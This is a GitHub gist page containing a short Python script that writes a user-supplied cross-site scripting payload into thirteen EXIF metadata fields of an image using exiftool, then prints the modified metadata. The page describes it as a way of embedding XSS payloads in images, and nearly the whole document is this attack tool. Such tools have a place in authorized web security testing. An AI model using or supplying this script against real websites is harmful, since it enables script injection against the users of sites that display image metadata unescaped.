Skip to content

Instantly share code, notes, and snippets.

@0xbloody
Forked from hash3liZer/exifxss.py
Created December 5, 2023 17:30
Show Gist options
  • Save 0xbloody/01efefc47d7cd2b9d808dd2f6003eb94 to your computer and use it in GitHub Desktop.
Save 0xbloody/01efefc47d7cd2b9d808dd2f6003eb94 to your computer and use it in GitHub Desktop.
Embedding XSS payloads in the Exif Metadata fields of and image
import sys
import subprocess
exifs = [
"ImageDescription",
"Make",
"Model",
"Software",
"Artist",
"Copyright",
"XPTitle",
"XPComment",
"XPAuthor",
"XPSubject",
"Location",
"Description",
"Author"
]
if sys.argv[1] and sys.argv[2]:
image = sys.argv[1]
xss = sys.argv[2]
for exif in exifs:
attribute = "-{0}={1}".format(exif, xss)
subprocess.call(["exiftool", attribute, image])
subprocess.call(["exiftool", image])
else:
print("No source image given")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment